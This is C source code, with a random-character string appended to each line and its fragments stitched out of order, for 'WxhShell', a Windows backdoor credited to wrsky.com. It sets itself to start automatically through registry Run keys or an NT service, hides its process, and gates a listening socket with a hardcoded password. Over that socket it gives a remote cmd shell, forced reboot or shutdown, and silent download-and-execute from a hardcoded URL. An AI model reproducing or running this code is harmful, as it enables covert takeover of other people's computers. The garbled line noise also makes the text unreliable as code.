    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +^DDWVp  
    if(Boot(SHUTDOWN)) Z0[d;m*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }n( ?|  
    else { ;Rljx3!N  
    closesocket(wsh); ntntB{t  
    ExitThread(0); , .E>  
    } E 1`TQA  
    break; Am!OLGG4  
    } \c}pzBFd  
  // 获取shell \iP5.3C  
  case 's': { _CMNmmp`e  
    CmdShell(wsh); 7Fx0#cS"\  
    closesocket(wsh); Yi j^hs@eV  
    ExitThread(0); hXh nJ  
    break; DF>3)oTF  
  } 4a=QTq0p  
  // 退出 aka)#0l .  
  case 'x': { FP'-=zgc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xp.$FJ1)  
    CloseIt(wsh); w{*PZb4  
    break; \(MI DCZ@-  
    } E&N~ h|CL  
  // 离开 9:P\)'y?  
  case 'q': { <L+1 &H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MD^,"!A  
    closesocket(wsh); 5eiKMKW[  
    WSACleanup(); M@z_tR'3\  
    exit(1); .JOZ2QWm<  
    break; oOHY+'V  
        } 7`f%?xVn0  
  } GC~nr-O  
  } _=cU2  
KM+[1Ze$  
  // 提示信息 Z (t7QFd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !FwNq'Q8$  
} 4f&"1:  
  } ? G`6}NP  
N% ?R(  
  return; {;N2 &S o  
} c5_/i7  
osl\j]U8  
// shell模块句柄 2qot(Zs1i  
int CmdShell(SOCKET sock) K3Bw3j 9  
{ e#)NYcr6  
STARTUPINFO si;  wX5q=I  
ZeroMemory(&si,sizeof(si)); d N$,AOT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !S%0#d2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1F_$[iIX]  
PROCESS_INFORMATION ProcessInfo; \,fa"^8  
char cmdline[]="cmd"; ~yt7L,OQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `^] D;RfE  
  return 0; >(-A"jf  
} *4e?y  
\1SC:gN*#  
// 自身启动模式 i),bAU!+m  
int StartFromService(void) ap8q`a{j^  
{ 4l7 Ny\J  
typedef struct zn>+ \  
{ wBvVY3VQ^  
  DWORD ExitStatus; =P%&]5ts  
  DWORD PebBaseAddress; ;{aGEOP'U  
  DWORD AffinityMask; `U=Jbdc l3  
  DWORD BasePriority; Vm[F~2+HX  
  ULONG UniqueProcessId; IJ~j(.W  
  ULONG InheritedFromUniqueProcessId; v<t?t<|J  
}   PROCESS_BASIC_INFORMATION; e_|Z&  
v$D U q+  
PROCNTQSIP NtQueryInformationProcess; x5CMP%}d  
?% [~J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r ^\(M {  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "X^<g{]  
T-#4hY`  
  HANDLE             hProcess; `/Rqt+C  
  PROCESS_BASIC_INFORMATION pbi; , /%'""`w  
<=V{tl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `KN>0R2k  
  if(NULL == hInst ) return 0; O5aXa_A_u  
5.*,IedY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ? 3OfiGX?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xi1|%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }lDX3h  
7FJ4;HLQ  
  if (!NtQueryInformationProcess) return 0; c -PZG|<C[  
tRpY+s~Fq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k qL.ZR  
  if(!hProcess) return 0; 4g"%?xN  
x(cv}#}S8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i%JJ+9N  
Ix6\5}.c9  
  CloseHandle(hProcess); cFt&Efj  
hPUAm6 b;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^~.AV]t|  
if(hProcess==NULL) return 0; SDC'S]{ew  
v2E<~/|  
HMODULE hMod; -iS^VzI|I  
char procName[255]; tj'~RQvO  
unsigned long cbNeeded; \yu7,v  
1C8xJ6F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n."n?C'{  
v\5O\ I ^  
  CloseHandle(hProcess); W} i6{ Vh  
w;gk=<_  
if(strstr(procName,"services")) return 1; // 以服务启动 s*[ I"iE  
q~b# ml2QS  
  return 0; // 注册表启动 ":8\2Qp  
} ]c~yMA+]FZ  
Uffwzd!  
// 主模块 *d3-[HwZCL  
int StartWxhshell(LPSTR lpCmdLine) NJQ)Ttt  
{ Sz@z 0'  
  SOCKET wsl; K<wFr-z  
BOOL val=TRUE; !9WGZfK+0Y  
  int port=0; gK QJ^a\!  
  struct sockaddr_in door; (0 H=f6N  
C@6:uiT$  
  if(wscfg.ws_autoins) Install(); 7H5VzV  
ewU*5|*[  
port=atoi(lpCmdLine); ?W{+[OXs  
*{vH9TO  
if(port<=0) port=wscfg.ws_port; X2@Ef2EkM  
&F uPd}F  
  WSADATA data; 9gcW;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XZb=;tYo  
o6px1C:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @T~XwJ~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dazNwn  
  door.sin_family = AF_INET; LN WS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u"=]cBRWL6  
  door.sin_port = htons(port); j*<J&/luYZ  
<7VLUk}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S(Afo`  
closesocket(wsl); W|m(Jh[w]  
return 1; \Q|-Npw  
} ZK8)FmT_<O  
]JjS$VMauX  
  if(listen(wsl,2) == INVALID_SOCKET) { Q-'j131[  
closesocket(wsl); J)>DsQ+Cj  
return 1; SjB"#E)  
} \jwG*a  
  Wxhshell(wsl); 1H-Y3G>jN  
  WSACleanup(); a]u.Uqyx2w  
q4[}b-fF  
return 0; UeO/<ml3>J  
{&,p<5o  
} j|[rT^b@  
9?H$0xZV  
// 以NT服务方式启动 SYY x>1;8`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^)~Smj^d  
{ Wp>t\S~N  
DWORD   status = 0; 'vd&r@N  
  DWORD   specificError = 0xfffffff; 5G}4z>-]F)  
fA6IW(_bi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rJpr;QKf%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E:x@O8F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uaF-3  
  serviceStatus.dwWin32ExitCode     = 0; oZiW4z*Wh  
  serviceStatus.dwServiceSpecificExitCode = 0; k~8-E u1  
  serviceStatus.dwCheckPoint       = 0; ik(Du/  
  serviceStatus.dwWaitHint       = 0; /P*XB%y  
t2o{=!$WH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k sv]  
  if (hServiceStatusHandle==0) return; o~~;I  
}QCnN2bV  
status = GetLastError(); @& }}tALi  
  if (status!=NO_ERROR) 09-8Xzz  
{ ] zol?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >K9Ia4I,  
    serviceStatus.dwCheckPoint       = 0; fEZuv?@  
    serviceStatus.dwWaitHint       = 0; <?KPyg2  
    serviceStatus.dwWin32ExitCode     = status; =7<JD}G  
    serviceStatus.dwServiceSpecificExitCode = specificError; /y G34) aB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =HCEUB9Fs  
    return; B-MS@ <2  
  } +& B?f  
.t_t)'L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5G`HJ6  
  serviceStatus.dwCheckPoint       = 0; hI:.Qp`r  
  serviceStatus.dwWaitHint       = 0; ']1n?K=A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IE`3I#v  
} r%.k,FzGZY  
['IH*gi  
// 处理NT服务事件,比如:启动、停止 hik.qK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^v; )6a2  
{ \_`qon$9  
switch(fdwControl) \jiE :Qt  
{ |SkQe[t  
case SERVICE_CONTROL_STOP: L+8ar9es  
  serviceStatus.dwWin32ExitCode = 0; INN}xZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xf`e 4  
  serviceStatus.dwCheckPoint   = 0; u}iuf_  
  serviceStatus.dwWaitHint     = 0; G!Zb27u+  
  { ,u `xneOs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |8k1Bap`z  
  } 0SI@`C*1o  
  return; 1B4Qj`:+0  
case SERVICE_CONTROL_PAUSE: r^~+ <"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qq5X3K2&  
  break; #d@wjQ0DW  
case SERVICE_CONTROL_CONTINUE: 2<@2_wSJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /pj[c;aO  
  break; V'i-pn2gyu  
case SERVICE_CONTROL_INTERROGATE: hp~q!Q1=  
  break; }p~2lOI  
}; pa!BJ]~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B7 s{yb  
} v)+g<!  
(.4lsKN<  
// 标准应用程序主函数 }^&S^N 7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OD8 fn  
{ %hVR|K|J  
;QBS0x\f@  
// 获取操作系统版本 |n 26[=\B  
OsIsNt=GetOsVer(); TDH^x1P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 17s~mqy  
yqx5_}  
  // 从命令行安装 3uuIISK  
  if(strpbrk(lpCmdLine,"iI")) Install(); L_Ok?9$  
D>7a0p784  
  // 下载执行文件 "/'3I/}  
if(wscfg.ws_downexe) { u}5CzV`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U ]<l-~|  
  WinExec(wscfg.ws_filenam,SW_HIDE); G=:/v  
} P6v ANL-B  
QL7b<xDQC*  
if(!OsIsNt) { 1&dtq,|N  
// 如果时win9x,隐藏进程并且设置为注册表启动 E=8'!  
HideProc(); zy,SL |6:  
StartWxhshell(lpCmdLine); fmW{c mr|  
} `dvg5qQ  
else 3}|[<^$  
  if(StartFromService()) ,\M77V  
  // 以服务方式启动 Y ^+x<  
  StartServiceCtrlDispatcher(DispatchTable); U,#~9  
else ]X6<yzu&+l  
  // 普通方式启动 p\&O;48=  
  StartWxhshell(lpCmdLine); D4L&6[W  
%,T*[d&i  
return 0; ;iKLf~a a  
} p{w-  
x%EGxs;>^  
:r*hY$v  
Fl`U{03  
=========================================== %YR&>j k  
-EiTP:A  
J p?XV<3Z  
^+>*Y=fl  
cB uuq  
r!Eh}0bL  
" OijuOLt  
NxHUOPAJc  
#include <stdio.h> X)3(.L  
#include <string.h> JWb +  
#include <windows.h> b G:\*1T  
#include <winsock2.h> P73GH  
#include <winsvc.h> qX@e+&4P0  
#include <urlmon.h> 99=~vNn  
%/A>'p,~  
#pragma comment (lib, "Ws2_32.lib") KfiSQ!{  
#pragma comment (lib, "urlmon.lib") ?#z$(upQ  
Py;5z  
#define MAX_USER   100 // 最大客户端连接数 ve d]X!  
#define BUF_SOCK   200 // sock buffer Q a (Sb  
#define KEY_BUFF   255 // 输入 buffer +?*;#=q  
cACIy yQ  
#define REBOOT     0   // 重启 KL_ /f   
#define SHUTDOWN   1   // 关机 !y d B,S  
R #wZW&N  
#define DEF_PORT   5000 // 监听端口 ,j_js8r  
lx|Aw@C3~  
#define REG_LEN     16   // 注册表键长度 R%jOgZG  
#define SVC_LEN     80   // NT服务名长度 z x-[@G  
j}uL  
// 从dll定义API I-R7+o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -qP)L;n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j.&dHtp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nqy*>X`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3'z$@ ;Ev+  
ogFo/TKM  
// wxhshell配置信息 &Sd5]r@+  
struct WSCFG { YZf{."Opj[  
  int ws_port;         // 监听端口 Jw]!x1rF~  
  char ws_passstr[REG_LEN]; // 口令 W:i Q& [f  
  int ws_autoins;       // 安装标记, 1=yes 0=no $}&a*c>  
  char ws_regname[REG_LEN]; // 注册表键名 c]M+|R5  
  char ws_svcname[REG_LEN]; // 服务名 cp Ot?XYR~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hL3up]pZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 __ g?xw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $]DuO1H./  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6\7c:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MZt#T+b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UVw^t+n  
3;v)f":[  
}; )E.AY  
LQ~|VRRX<  
// default Wxhshell configuration 0 PYYG  
struct WSCFG wscfg={DEF_PORT, dEk#"cvg  
    "xuhuanlingzhe", HgY@M  
    1, "&={E{pQ  
    "Wxhshell", liS'  
    "Wxhshell", 8!2)=8|f  
            "WxhShell Service", sOLh'x f.  
    "Wrsky Windows CmdShell Service", |Y!^E % *  
    "Please Input Your Password: ", )Eozo4~  
  1, +Csb8  
  "http://www.wrsky.com/wxhshell.exe", -PPwX~;!  
  "Wxhshell.exe" Z,)H f  
    }; +v B}E  
NMkP#s7.y  
// 消息定义模块  qra XAQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x"z\d,O%W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ir JSU_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >>{):r Z  
char *msg_ws_ext="\n\rExit."; J2Dn  
char *msg_ws_end="\n\rQuit."; @(#vg\UH  
char *msg_ws_boot="\n\rReboot..."; U,U=udsi  
char *msg_ws_poff="\n\rShutdown..."; *O$|,EsY  
char *msg_ws_down="\n\rSave to "; A"7YkOfwH  
WR #XPbk  
char *msg_ws_err="\n\rErr!"; D|5mNX %e  
char *msg_ws_ok="\n\rOK!"; A$wC !P|;  
AW r2Bv  
char ExeFile[MAX_PATH]; |5vJ:'`I  
int nUser = 0; w%\ nXJ  
HANDLE handles[MAX_USER]; _#K|g#p5  
int OsIsNt; }n&nuaj  
25OQY.>bE  
SERVICE_STATUS       serviceStatus; +t,b/K(?]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I%.nPOQ 8  
eX"%b(;s  
// 函数声明 "_UnN}Uk  
int Install(void); j/TnKO  
int Uninstall(void); 51ViJdZ  
int DownloadFile(char *sURL, SOCKET wsh); |cC3L09  
int Boot(int flag); o+|>D&CW%  
void HideProc(void); {qw'gJmX  
int GetOsVer(void); /kGWd9ujF  
int Wxhshell(SOCKET wsl); [x)T2sA  
void TalkWithClient(void *cs); x_7$g<n  
int CmdShell(SOCKET sock); gxO~44"  
int StartFromService(void); 0o8`Y  
int StartWxhshell(LPSTR lpCmdLine); 7X( 2SI3m  
7u"Q1n(h/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %i\rw*f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CNRSc 4Le  
XgxO:"B  
// 数据结构和表定义 m@ <,bZkl  
SERVICE_TABLE_ENTRY DispatchTable[] = ]pm/5|  
{ yq.@-]ytZ  
{wscfg.ws_svcname, NTServiceMain}, K["rr/  
{NULL, NULL} S5JM t;O  
}; )L&y@dy)  
w yxPvI`   
// 自我安装 _EMX x4J  
int Install(void) ?Q_ @@)  
{ q#j[0,^ $  
  char svExeFile[MAX_PATH]; ?sHZeWZ(  
  HKEY key; g}`g>&l5  
  strcpy(svExeFile,ExeFile); "vk]y  
%scw]oF  
// 如果是win9x系统,修改注册表设为自启动 B6F!"  
if(!OsIsNt) { 551_;,t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2}<tzDI'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N%Bl+7,q  
  RegCloseKey(key); #eYYu2ND  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3fLdceT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % (h6m${j  
  RegCloseKey(key); Gw) y<h  
  return 0; PZ/ tkw  
    } ~xG/yPl  
  } V(cU/Aia^  
} i3 XtrP""  
else { 0-PT%R  
q2#Ebw %]  
// 如果是NT以上系统,安装为系统服务 %rB,Gl:)g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JA{kifu0+  
if (schSCManager!=0) 1!1,{\9%  
{ 8@vq.z}  
  SC_HANDLE schService = CreateService :#vA5kC  
  ( Vw ;iE=L  
  schSCManager, < R"Y^]P=  
  wscfg.ws_svcname, PoZ$3V$(Lz  
  wscfg.ws_svcdisp, fKEDe>B5  
  SERVICE_ALL_ACCESS, %(s|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y a$yRsd`  
  SERVICE_AUTO_START, yPfx!9B  
  SERVICE_ERROR_NORMAL, yuC"V'  
  svExeFile, `/1rZ#  
  NULL, <nJGJ5JJ  
  NULL, QH><! sa  
  NULL, VP< zOk7  
  NULL, 6MOwn*%5k  
  NULL 2L^/\!V#  
  ); e3n^$'/\r  
  if (schService!=0) &LM@xt4"^[  
  { VXCB.C"  
  CloseServiceHandle(schService); 53/$8=  
  CloseServiceHandle(schSCManager); ZWGelZP~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W+u@UJi  
  strcat(svExeFile,wscfg.ws_svcname); +;!^aNJ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eAO@B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G>^= Bm_$  
  RegCloseKey(key); bh" Caz.(t  
  return 0; zk }SEt-  
    } 5[\g87 \  
  } bLl ?!G.  
  CloseServiceHandle(schSCManager); /E/6(c  
} 6&+dpr&c~=  
} ^Zs ^  
=l2 @'YQ  
return 1; h_X'O3r  
} ral=`/p  
qKXg'1#E)  
// 自我卸载 ^Zpz@T>m  
int Uninstall(void) $lB!Q8a$  
{ %Lx#7bR U  
  HKEY key; 1$))@K-I  
Q~^v=ye  
if(!OsIsNt) { &hVf=We  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a@|`!<5  
  RegDeleteValue(key,wscfg.ws_regname); tZ) ,Z<  
  RegCloseKey(key); DFfh!KKR$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Dt5AG  
  RegDeleteValue(key,wscfg.ws_regname); c&#Q`m  
  RegCloseKey(key); GwgY{-|`  
  return 0;  pb<eg,  
  } Q_/UC#I8  
} Z>`frL  
} y2g)*T!m  
else { r,|}^u8`  
m k~F@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0I)eYksh  
if (schSCManager!=0) MG&vduu  
{ &iuMB0rbu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yk{4 3yw  
  if (schService!=0) mr>E'd.'  
  { rf/]VAK  
  if(DeleteService(schService)!=0) { 'D+njxCk.A  
  CloseServiceHandle(schService); $XyDw|z[  
  CloseServiceHandle(schSCManager); %7[d5[U~ZA  
  return 0; &6GW9pl[  
  } {JQV~rfh`  
  CloseServiceHandle(schService); m,5m'9 dj  
  } "V:RKH`  
  CloseServiceHandle(schSCManager); /.mx\_$   
} | v>W  
} N#OO{`":Z`  
$W;r S7b  
return 1; ;[C_ho  
} aB&a#^5CI  
gW G>}M@  
// 从指定url下载文件 \= 6dF,V  
int DownloadFile(char *sURL, SOCKET wsh) x;JC{d#  
{ )CH\]>-FO  
  HRESULT hr; ckdCd J  
char seps[]= "/"; dpdp0  
char *token; HlxgJw~<  
char *file; lE bV)&'  
char myURL[MAX_PATH]; ZV/g_i #  
char myFILE[MAX_PATH]; 9-Qu5L~  
Ta8lc %0w3  
strcpy(myURL,sURL); I Yr4  
  token=strtok(myURL,seps); F6{Q1DqI  
  while(token!=NULL) 93)1  
  { VyIM ,glu  
    file=token; :2t?0YR  
  token=strtok(NULL,seps); :y~l?0b&8  
  } nqY arHi  
V[* <^%  
GetCurrentDirectory(MAX_PATH,myFILE); Urm(A9|N  
strcat(myFILE, "\\"); RLVz"=  
strcat(myFILE, file); hs)_h^P   
  send(wsh,myFILE,strlen(myFILE),0); d ~CZ9h  
send(wsh,"...",3,0); of_Om$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ['c*<f" D2  
  if(hr==S_OK) 7?Twhs.O  
return 0; GKXd"8z]  
else wx/*un%2  
return 1; UnTvot6~  
*]S&V'Di  
} }1Hy[4B(k\  
 ~Ctq  
// 系统电源模块 {tXyz[;i1}  
int Boot(int flag) Wh?3vZ^  
{ X5)].[d  
  HANDLE hToken; yEL5U{  
  TOKEN_PRIVILEGES tkp; @vi;P ^1!  
F^DDN7AKH  
  if(OsIsNt) { bmRp)CYd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XJ1<!tl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Vg`32nRN  
    tkp.PrivilegeCount = 1; 7@!ne&8Z?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QlnI&o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $=!_ !tr  
if(flag==REBOOT) { r[&/* ~xL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /:w.Zf>B9  
  return 0; KFHcHz  
} l !R >I7  
else { KupQtT<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O1z3(  
  return 0; $gcC}tX  
} YLNJ4nE  
  } \BdQ(rm  
  else { /s`8=+\9  
if(flag==REBOOT) { m@` NN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oe1$;K>.7  
  return 0; \4hB1-  
} =@ed {~  
else { LeXkl=CC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cbr>\;sc2Z  
  return 0; '_M"yg6d  
} :&=`xAX-  
} VL@eR9}9K  
\yo)oIi[p  
return 1; 7,D6RP(b  
} &n2dL->*#  
R`>z>!)  
// win9x进程隐藏模块 }woNI  
void HideProc(void) .5YW >PV  
{ {# TZFB  
5m a(~5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g5hMZPOmP  
  if ( hKernel != NULL ) K2oyHw<mk  
  { s#C~HK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N ._&\fHY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b~EA&dc  
    FreeLibrary(hKernel); mRD'@n  
  } _*dUH5  
>}!})]Xw9  
return; =7%c*O <  
} A}(Q^|6  
\9jvQV/y  
// 获取操作系统版本 +J(@.  
int GetOsVer(void) rTYMN  
{ ^yVKW5x  
  OSVERSIONINFO winfo; $n9Bp'<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UZ 6:vmcT  
  GetVersionEx(&winfo); Ab)X/g-I @  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hyz:i)2  
  return 1; i|OG#PsY-  
  else ~_hn{Ou s  
  return 0; (GDW9:  
} H6%%n X  
CUZ ;<Pn  
// 客户端句柄模块 \6c8Lqa  
int Wxhshell(SOCKET wsl) t8upS u|  
{ Yuqt=\? #  
  SOCKET wsh; fg0zD:@rA  
  struct sockaddr_in client; )2y# cM*  
  DWORD myID; xe!6Pgcb  
e"ur+7  
  while(nUser<MAX_USER) |qX[Dk  
{ )i*-j =  
  int nSize=sizeof(client); tU >?j1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H.]rH,8  
  if(wsh==INVALID_SOCKET) return 1; 4ai|*8.  
_|vY)4B 4U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); md`"zV  
if(handles[nUser]==0) `_5{: 9N$  
  closesocket(wsh); wYLJEuS|  
else gOKF%Ej31T  
  nUser++; -k"5GUc|  
  } #u<n .  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5Uha,Q9SA  
NE2P "mY  
  return 0; ubQZTAx  
} }  cQ` L  
c*HWH$kB  
// 关闭 socket MWron_xg  
void CloseIt(SOCKET wsh) @Xj6h!"R  
{ x72T5.  
closesocket(wsh); $@Kwsoh'  
nUser--; z)U/bjf  
ExitThread(0); Sk|DVV $  
} wDz}32wB  
! 4{T<s;q  
// 客户端请求句柄 "$rmy>d  
void TalkWithClient(void *cs) ,f?+QV\T.  
{ f{eMh47 NC  
U *']7-  
  SOCKET wsh=(SOCKET)cs; E|l qlS7  
  char pwd[SVC_LEN]; = & =#G3f  
  char cmd[KEY_BUFF]; y?@(%PTp  
char chr[1]; |?/,ED+|>D  
int i,j; brt1Kvu8(  
TuX9:Q  
  while (nUser < MAX_USER) { BEnIyVU;L  
k9vzxZ%s:  
if(wscfg.ws_passstr) { m6^n8%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !,zRg5Wp4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TW5Pt{X= f  
  //ZeroMemory(pwd,KEY_BUFF); N9=1<{Z  
      i=0; kcN#g- 0  
  while(i<SVC_LEN) { v3/l= e?u  
F>/"If#  
  // 设置超时 iW,fKXuo&y  
  fd_set FdRead; qrZ*r{3  
  struct timeval TimeOut; >* >}d%  
  FD_ZERO(&FdRead); EX9os  
  FD_SET(wsh,&FdRead); |v31weD8  
  TimeOut.tv_sec=8; t1MK5B5jH  
  TimeOut.tv_usec=0; N#zh$0!8bJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MiB}10  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~gJJ@j 0n  
<b$.{&K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }6!*H!  
  pwd=chr[0]; 2{fPQQ;#  
  if(chr[0]==0xd || chr[0]==0xa) { iX\]-_D  
  pwd=0; Qy_! +q  
  break; S<bsrS*$  
  } {Jn*{5tZ>  
  i++; vm Y*K  
    } 1NQstmd{  
JuTIP6 /G  
  // 如果是非法用户,关闭 socket Hm*?<o9mxC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O[O[E}8#  
} X4{O/G  
* j]"I=D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2GC{+*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9qXKHro  
nht?58  
while(1) { 2~(\d\k  
[+4/M3J%  
  ZeroMemory(cmd,KEY_BUFF); $++SF)G1]_  
uA~T.b\  
      // 自动支持客户端 telnet标准   h#Q Sx@U6  
  j=0; lZf=#  
  while(j<KEY_BUFF) { T\b-<Xle  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S"skKh4w  
  cmd[j]=chr[0]; (&^k''f  
  if(chr[0]==0xa || chr[0]==0xd) { T(2*P5%&  
  cmd[j]=0; }G53"  
  break; 1b4/  
  } |E5\_Z  
  j++; 0AWOdd>.  
    } ! uX0G4  
`#x}-A$  
  // 下载文件 iz @LS  
  if(strstr(cmd,"http://")) { @=G6fW:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W&`{3L  
  if(DownloadFile(cmd,wsh)) #$;i 4a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z(g6$Y{  
  else ~H1 ZQ[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2SV}mK U  
  } 6<qVeO&uZ  
  else { 9XEP:}5,  
bji^b@ us_  
